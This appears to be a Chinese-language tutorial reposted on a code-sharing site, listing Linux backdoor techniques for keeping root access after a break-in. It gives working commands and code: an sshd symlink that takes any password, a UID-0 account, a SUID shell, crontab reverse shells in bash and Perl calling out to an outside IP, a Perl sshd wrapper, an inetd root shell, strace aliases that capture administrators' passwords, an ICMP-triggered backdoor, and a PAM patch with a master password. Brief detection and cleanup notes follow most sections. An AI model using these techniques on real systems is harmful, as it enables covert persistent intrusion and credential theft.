linux后門


ssh軟連接

#只有root用戶才可以這種方法

#拿到root權限后執行
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

#任意密碼連接5555端口
ssh root@106.13.124.93:5555
ssh root@106.13.124.93 -p 5555

Snipaste_2019-12-24_16-52-32.png

檢測:查看可疑進程
# ps aux

清除后門:
結束進程即可,
# kill -s 9 PID

Snipaste_2019-12-24_17-16-34.png

添加用戶

root權限
一句話添加用戶
useradd guest;echo 'guest:123456'|chpasswd

#vi /etc/passwd
最后一行改為(要修改,不要新加一行):
guest:x:0:1002:::/bin/bash

這樣可以用guest-123456用戶來登陸了,而且是root權限

Snipaste_2019-12-24_20-52-12.png

修改/etc/sudoers文件

新建普通用戶,修改sudoers文件

Snipaste_2019-12-24_21-07-00.png

Snipaste_2019-12-24_21-09-56.png

解決:手動編輯文件
# visudo

suid后門

root權限下:
# chmod 4755 /bin/dash

這里注意一下不能是/bin/bash,因為Linux某種機制原因沒有root權限。

普通用戶下 執行:
# /bin/dash
就能獲得root權限了
檢測:
# find / -perm -u=s -type f 2>/dev/null
# find / -user root -perm -4000 -exec ls -ldb {} \;
# find / -user root -perm -4000 -print 2>/dev/null

解決:取消s權限,例如
# chmod u-s /usr/sbin/find

crontab反彈shell后門

當 /bin/sh指向/bin/dash的時候,反彈shell用bash的話必須得這樣彈:
* * * * * root bash -c "bash -i  >&/dev/tcp/106.13.124.93/2333 0>&1"
這句話的意思是,這種方法仍然適合/bin/bash指向/bin/bash的主機

ubuntu中,不能指定用戶名
* * * * *  bash -c "bash -i  >&/dev/tcp/106.13.124.93/2333 0>&1"



或者有權限改變/bin/sh的連接指向/bin/bash后:
ln -s -f /bin/bash /bin/sh
反彈shell可以用最常見的辦法: 
* * * * * /bin/bash -i >& /dev/tcp/ip(vps)/7999 0>&1

如果不用bash:
*/1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

其他的反彈shell方法自己探索吧
解決:
# crontab -e
或者直接進目錄查看文件(此目錄為ubuntu,其他系統存在不同)
# ls -al /var/spool/cron/crontabs/

Snipaste_2019-12-25_09-54-16.png

ssh免密登錄

A:106.13.124.93
B:101.132.104.215
現在B想配置免密登錄連接A

B:
# ssh-keygen -b 4096 -t rsa
連着三次回車默認就行了,在/root/.ssh/目錄下生成了兩個文件,id_rsa和id_rsa.pub文件。 
# cat /root/.ssh/id_rsa.pub
全部復制文件內容

A:
# vi /root/.ssh/authorized_keys  
id_rsa.pub內容粘貼到文件里面(如果原來存在內容就另起一行粘貼)
# chmod 600 /root/.ssh/authorized_keys
# chmod 700 /root/.ssh

B:
# ssh -i /root/.ssh/id_rsa root@106.13.124.93

Snipaste_2019-12-24_23-35-10.png

解決:
一般情況下,我們是不會去禁用免密登錄的(實質上為用私鑰登陸)。
所以我們只好手動查看/root/.ssh/authorized_keys文件

ssh wrapper后門

受害者主機:
# cd /usr/sbin
# mv sshd ../bin
# echo '#!/usr/bin/perl' >sshd
# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
# chmod u+x sshd
# /etc/init.d/sshd restart(在我的測試環境上是/etc/init.d/ssh restart,可以進入目錄直接查看,目的是讓ssh服務重啟)
攻擊者主機:
# socat STDIO TCP4:106.13.124.93:22,sourceport=13377

Snipaste_2019-12-25_08-52-36.png

檢測:
# ls -al /usr/sbin/sshd
# cat /usr/sbin/sshd

解決:
# rm -rf /usr/sbin/sshd
# mv /usr/bin/sshd /usr/sbin;
# /etc/init.d/ssh restart
或者直接重裝ssh服務

inetd

受害者主機:
# vi /etc/inetd.conf
添加內容
daytime stream tcp nowait root /bin/bash bash -i
重啟
# service inetd restart

Snipaste_2019-12-25_10-16-17.png

攻擊者:
# nc -vv 106.13.124.93(受害者ip) 13

Snipaste_2019-12-25_10-14-33.png

檢測:手動查看/etc/inetd.conf文件

消除后門:
修改配置文件,關閉inetd
關閉inetd后,bash的連接仍然存在,需要手動殺死進程
# kill -s 9 14264

Snipaste_2019-12-25_10-41-05.png

strace后門

攻擊者:
已經拿到了主機的權限,在主機的管理員用ssh命令時候,記錄下密碼到/tmp/.ssh.log下面
# vi /root/.bashrc
加入內容
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
更新配置文件
# source /root/.bashrc

Snipaste_2019-12-25_12-29-21.png

管理員的受害過程:
管理員不知道有后門,他在這台主機上連接另外一台主機
# ssh zzz@101.132.104.215
輸入密碼登陸成功后,/tmp/.ssh.log便記錄下了zzz的密碼和相關主機的ip

Snipaste_2019-12-25_12-15-47.png

也可配置全局的文件,我們一開始只是給root用戶配置上了
# vi /etc/bash.bashrc
生效
# source /etc/bash.bashrc
現在每個用戶su的時候密碼都會被記錄了
su,sudo同樣的道理
alias su='strace -o /tmp/.su.log -e read,write,connect -s 2048 su'

Snipaste_2019-12-25_12-40-38.png

檢測:
# alias

消除:
修改配置,並且souce命令使其生效

協議后門

一般來說,主機的防火牆攔截外部來的流量到達內部某個端口,但是在一些訪問嚴格被控制的電腦也會被限制你從內部訪問外部。

icmp

使用情況:主機從內到外的服務也被僅用了很多,但是icmp沒有被禁用(一般很少禁用ping命令)
工具:https://github.com/andreafabrizi/prism

icmp模式:

條件:雙方能夠ping通就行,建議先檢查一下這個



1.受害機:192.168.3.135
# vi prism.c
設置主要有三點
define REVERSE_HOST     "192.168.3.200"(攻擊主機)
define REVERSE_PORT     2333 (攻擊主機監聽的端口)
define ICMP_KEY         "1234"(密碼)

編譯
# gcc  -DDETACH -DNORENAME -Wall -s -o prism prism.c

運行
# ./prism

2.攻擊機192.168.3.200
監聽端口2333
# nc -lvp 2333

3.攻擊機
# ./sendPacket.py 192.168.3.135 1234 192.168.3.200 2333

4.攻擊機收到shell

Snipaste_2019-12-25_20-59-14.png

static模式

1.攻擊機101.132.104.215
# nc -lvp 9876

2.受害機:106.13.124.93
# vi prism.c(編輯內容同上)
# gcc -DSTATIC -DDETACH -DNORENAME -Wall -s -o prism prism.c
# ./prism

3.攻擊機收到shell
清除

1.重啟即可失效

2.把名字prism的進程全部結束
# ps -ef|grep "./prism"|grep -v grep|awk '{print $2}'|xargs kill -9
3.關閉可疑的/bin/sh或者/bin/bash進程(斷開已連接的shell)
2.3必須配合使用

Snipaste_2019-12-25_16-00-15.png

PAM后門

環境:百度雲 ubuntu16.04 64位

查看pam版本:
# dpkg -l | grep pam
我的版本是1.18

下載未編譯過的PAM:https://src.fedoraproject.org/repo/pkgs/pam/
# cd /root (下邊的指令都是基於root目錄)
# wget https://src.fedoraproject.org/repo/pkgs/pam/Linux-PAM-1.1.8.tar.bz2/35b6091af95981b1b2cd60d813b5e4ee/Linux-PAM-1.1.8.tar.bz2

解壓:
# tar xjf Linux-PAM-1.1.8

編輯后門:
# /root/Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
找到這一句:
retval = _unix_verify_password(pamh, name, p, ctrl);
修改為:
if (strcmp(p, "123456") != 0) {
           retval = _unix_verify_password(pamh, name, p, ctrl);
         } else {
           retval = PAM_SUCCESS;
         }
123456為后門密碼

Snipaste_2019-12-25_22-11-54.png

編譯:
# cd /root/Linux-PAM-1.1.8
# ./configure
# make

替換文件:
# cp  /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/securitypam_unix.so

驗證:
用xshell root-123456登陸成功


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM